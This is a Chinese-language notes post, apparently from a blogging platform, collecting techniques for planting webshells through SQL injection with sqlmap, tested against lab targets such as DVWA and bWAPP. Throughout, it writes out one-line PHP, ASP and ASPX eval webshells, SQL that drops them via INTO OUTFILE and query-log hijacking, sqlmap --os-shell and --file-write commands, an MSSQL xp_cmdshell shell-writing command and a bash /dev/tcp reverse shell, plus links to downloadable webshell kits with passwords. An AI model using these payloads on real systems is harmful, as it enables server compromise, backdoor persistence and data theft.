SqlMap获取WebShell笔记

https://javaforall.cn/143133.html

php的一句话木马: <?php @eval($_POST['pass']);?>

asp的一句话是:  <%eval request ("pass")%>

aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

https://javaforall.cn/143133.html

==================================================

--------大马1--------------------------

Silic手册http://caidaome.com/?post=65

5.1下载https://github.com/backlion/webshell/blob/master/php/%E4%B9%A0%E7%A7%91php%E9%A9%AC.php  silic1234Silic

5.6 下载https://lanzoui.com/i28scza

案例木马 php反弹隧道dama 利用sqlmap写shell

https://blog.csdn.net/m0_63241485/article/details/126625815

---

SilicV5.1使用说明  https://blog.csdn.net/weixin_34151005/article/details/115424309

--------大马2--------------------------

shell.php 密码 day.nb.sb

https://blog.52date.cn/article/153.html

中国蚁剑

https://blog.csdn.net/Fighting_hawk/article/details/123157610

--------------------------------------------

PHP注入概述

PHP注入01】PHP语言常见可注入函数

https://blog.csdn.net/Fighting_hawk/article/details/123146694

【PHP注入02】PHP注入漏洞利用实验

https://blog.csdn.net/Fighting_hawk/article/details/123157119

https://www.bilibili.com/read/cv19335315/

https://www.zdfans.com/html/95102.html

http://www.android69.com/xiazai/34316.html

===============================================

前提 获取网站根目录

NO1 攻破Mysql后台 建库建表

第一种

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );

INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[123]);?>');

SELECT `best1` FROM `best` INTO OUTFILE 'C:/phpStudy/WWW/best.php';

DROP TABLE IF EXISTS `best`;

https://blog.csdn.net/u010886217/article/details/101771309

phpmyadmin http://192.168.31.110:8001/phpMyAdmin/

访问 http://192.168.31.110:8001/best.php

==============================================================

第二种 sqlmap 参数

NO1  注入点配合--os-shell参数

--os-shell获取  上传webshell/一句话木马  https://blog.csdn.net/weixin_40195907/article/details/121546381

https://blog.csdn.net/weixin_40195907/article/details/121546381

思考目录权限/var/www/html/DVWA/vulnerabilities/sqli

-rwxr-xr-x 1 www-data www-data  866 2月  13 12:21 tmpbskum.php

-rw-rw-rw- 1 mysql    mysql    742 2月  13 12:21 tmpuhacy.php

successfully uploaded on '/var/www/html/' - http://192.168.31.19:80/tmpurtbd.php

pikachu

sqlmap.py -r d:\cookie.txt --cookie "ant[uname]=admin" --level 2 --threads 8  --os-shell

dvwa

sqlmap.py -r d:/sql.txt -p id --threads 8 --os-shell

http://192.168.31.110:8001/tmpuenjs.php

输入网站根目录C:\phpStudy\WWW\

进入shell

XP os-shell>  echo ^<?php @eval($_POST["a"]);?^> ^> shell.php

dir  whoami

Linux 写一句话

https://blog.csdn.net/weixin_43457035/article/details/127946500?spm=1001.2101.3001.6650.1&depth_1-utm_relevant_index=2

https://blog.csdn.net/weixin_40195907/article/details/121546381

结果

DVWA var/www/html/dvwa/hackable/uploads/为可写的状态!!!!!!

#上传shell[17:49:59] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy/WWW/' - http://192.168.31.110:8001/tmpubmts.php

#[17:50:00] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy/WWW/' - http://192.168.31.110:8001/tmpbsula.php

cmd 执行命令

http://192.168.31.110:8001/tmpbdqnd.php?cmd=%20net%20user

-------------------------------------------------------------------------------------------------

**os-shell案例

中国蚁剑                              https://blog.csdn.net/hellohahi/article/details/122590762  wappalyzer浏览器插件

Sqlmap getshell的条件      https://blog.csdn.net/bring_coco/article/details/114889739

                                          https://www.shangyexinzhi.com/article/4496428.html

                                          https://blog.csdn.net/qq_45751902/article/details/127517553

msf msfvenom制作shell    https://cloud.tencent.com/developer/news/305392

DVWA平台搭建                  https://blog.csdn.net/weixin_47437914/article/details/119104478

sql-labs 开源平台                https://blog.csdn.net/weixin_45254208/article/details/104698495

【sqlmap上传shell--dvwa演示】--sql注入常用语句

                                            https://blog.csdn.net/m0_63241485/article/details/126625815

tamper脚本作用汇总

                                          https://blog.csdn.net/zhuangsle/article/details/119979665

爆php路径拿shell方法

                                          https://blog.csdn.net/weixin_59679023/article/details/122111929

######补充sql-shell

sqlmap.py -u "http://192.168.31.110:8001/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#" --cookie "security=low; PHPSESSID=58qtrg83l95tqkv1pfq7v69vd1"  --sql-shell

sqlmap.py -u  "http://192.168.31.110:8001/bWAPP/sqli_1.php?title=thor&action=search" --cookie "PHPSESSID=ntb9i1go7pu7veugkpn4qhlbi2; security_level=0" --os-shell

破解 user,password(Hash值)

mysql.user 

=================================================================phpMyAdmin漏洞利用与安全防范======================

phpMyAdmin漏洞https://blog.csdn.net/m0_67402013/article/details/126081385

日志 写入slow_query_log  或者 general_log日志    可参考陈小兵的sqlmap从入门到精通

利用sql语句写入shell参考:https://blog.csdn.net/weixin_41489908/article/details/104284129

A 日志写入,这种情况在secure_file_priv=NULL 或者有特定限制                                DBA权限 root账号

set global  slow_query_log=1

set global slow_query_log_file="c:/phpstudy/www/xx.php"

select "<?php @eval($_POST['x']);?>" or sleep(11)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

show global variables like "%genera%";

set global general_log=off;

set global general_log='on';

SET global general_log_file='C:/phpStudy/WWW/general.php';

select "<?php @eval($_POST['x']);?>"

B直接select一句话

secure_file_priv=''      没有限制。有条件修改my.ini 或者/etc/my.cnf

select '<?php @eval($_POST["pwd"]);?>'  into outfile  '/var/www/html/pwd.php';

--sql-shell参数及其他写入条件  mysql写shell的条件*****

https://blog.csdn.net/qq_45751902/article/details/127517553

#################-d 连接数据库 使用sqlmap直连数据库获取webshell    || sql tools

netstat -lntupa

-d 直连 反弹shellhttps://blog.csdn.net/whatday/article/details/102801928/

pyssql

https://www.likecs.com/show-307547133.html

setuptools

https://www.imooc.com/article/273398

sqlmap  -d "mysql://root:root@192.168.31.19:3306/dvwa" --os-shell

sqlmap  -d "mysql://root:root@192.168.31.110:3306/dvwa" --os-shell

sqlmap  -d "mysql://root:root@192.168.31.79:3306/mysql" --os-shell

--------------------------------------------------------------------------------------------

MSSQL:

sqlmap.py -d mssql://sa:123456@192.168.31.110:1433/master  --os-shell

http://192.168.31.110:96/sqlserver/1.aspx?xxser=1

;exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > C:\wwwtest\iis-xxser.com--wwwroot\sqlserver\cmd.aspx' 

echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > C:\wwwtest\iis-xxser.com--wwwroot\sqlserver\cmd.aspx

exec master.dbo.xp_cmdshell 'type C:\wwwtest\iis-xxser.com--wwwroot\sqlserver\cmd.aspx';

MySQL:

win环境echo ^<?php @eval($_POST["a"]);?^> ^> shell.php

linux环境

echo  '<?php @eval($_POST["a"]);?>'  > shell.php

Linux, ok

wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz

====================================================================https://www.cnblogs.com/pandana/p/16289320.html

nc反弹shell      下载地址 https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/

案例木马 php反弹隧道dama https://blog.csdn.net/m0_63241485/article/details/126625815    一些其他参数

https://blog.csdn.net/qq_42096378/article/details/124298594

https://www.cnblogs.com/lx20145332/p/6545292.html

成功  Linux环境下 将目标端(被攻击端)shell 反弹到 攻击者服务端程序    陈小兵282/258

bash -i >&  /dev/tcp/192.168.31.19/7777  0>&1    (OS-shell>失败)

python -c 'import pty;pty.spawn("/bin/bash")' 

python2 -c 'import pty;pty.spawn("/bin/bash")'    成功  目标端环境有python2

反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。

攻击者指定服务端,目标主机主动连接攻击者的服务端程序,就叫反弹连接。这里的反弹shell就属于反弹连接。

重点看https://www.cnblogs.com/pandana/p/16289320.html

msf  拿shell  vulnhub和红日靶场

https://blog.csdn.net/lza20001103/article/details/127143015

python2 -c 'import pty;pty.spawn("/bin/bash")'

www-data@kali2019:/var/www/html$

---------------------------------

NO2 sqlmap    上传文件  --file-write  --file-dest

wghostk

#sqlmap.py -u "http://192.168.31.110:8001/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#" --cookie "security=low; PHPSESSID=3l6r913slf8hg6v813pjbl3k62" --no-cast --file-write "d:/outpass.php"  --file-dest "C:/phpStudy/WWW/out.php"

sqlmap.py -u http://192.168.31.110:96/sqlserver/1.aspx?xxser=1  --file-write "d:/outpass.php"  --file-dest "C:/phpStudy/WWW/out.php"

sqlmap.py -r d:\cookie.txt --cookie "ant[uname]=admin" --level 2 --threads 8 --file-write "d:/9.php"  --file-dest "C:/phpStudy/WWW/passwafcai2.php"

sqlmap.py -r d:\sql.txt    -p id --threads 8 --file-write "d:/msfshell.php"  --file-dest "C:/phpStudy/WWW/msfshell.php"

sqlmap.py -r d:\sql.txt    -p id --threads 8 --file-write "d:/adminer.php"  --file-dest "C:/phpStudy/WWW/adminer.php"

读文件  sql-shell

select load_file('/etc/my.cnf');

-------------------------------------https://blog.csdn.net/lza20001103/article/details/127143015

失败NO3 --sql-query  searchsploit linux 4.15      等待提权

python3 sqlmap.py -r d:/sql.txt --threads 3 -p id --sql-query=‘select “<?php @eval($_POST[cmd]); ?>” INTO OUTFILE “/var/www/html/cmd.php”’

              sqlmap.py -r d:/sql.txt --threads 3 -p id --sql-query=‘select “<?php @eval($_POST[cmd]); ?>” INTO OUTFILE “C:/phpStudy/WWW/cmd.php”’

总结

sqlmap --os-shell 写入一句话

一 注入方式, echo一句话

二  直连3306端口,or 1433端口

NO1

-d 直连  udf提权。 echo一句话

NO2 工具 sql stools  MSSQL

exec xp_cmdshell  echo 一句话

==============================================================================================

----------------------案例-----------------------------------------------

陈小兵PHP sqlmap    site:somesite.com 后台管理

https://www.cnblogs.com/autopwn/p/13101871.html

sqlmap绕过d盾_记一次sqlmap --os-shell getshel

https://blog.csdn.net/weixin_39900830/article/details/111094859

网站目录,sqlmap拿Webshell  root权限,网站写目录 内网

https://www.cnblogs.com/backlion/p/15824558.html

==================================重点===============================================================

1sqlmap 传Webshell 条件@

https://blog.csdn.net/lplp9822/article/details/84112979

https://www.cnblogs.com/Rain99-/p/13755496.html#1-条件

2Linux环境下,sqlmap传webshell条件,读取文件    PHPmyadmin 写一句话  利用MySQL内置函数  漏洞

https://blog.csdn.net/qq_34640691/article/details/110148413

=========图片=======

https://zhuanlan.zhihu.com/p/38608702

======提权

https://blog.csdn.net/m0_37438418/article/details/80289025

======EX 代理  https://github.com/idlefire/ew

https://blog.csdn.net/qq_41901122/article/details/127273178

从入门到精通

https://blog.csdn.net/weixin_39915078/article/details/113542616

https://blog.csdn.net/Doudou_Mylove/article/details/129196525

http://www.mamicode.com/info-detail-2420471.html

Proxifier    / proxychain

https://www.downkr.com/ruanjian/169222.html

https://www.mustdown.com/software/13717.html

https://www.freebuf.com/sectool/234254.html

最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容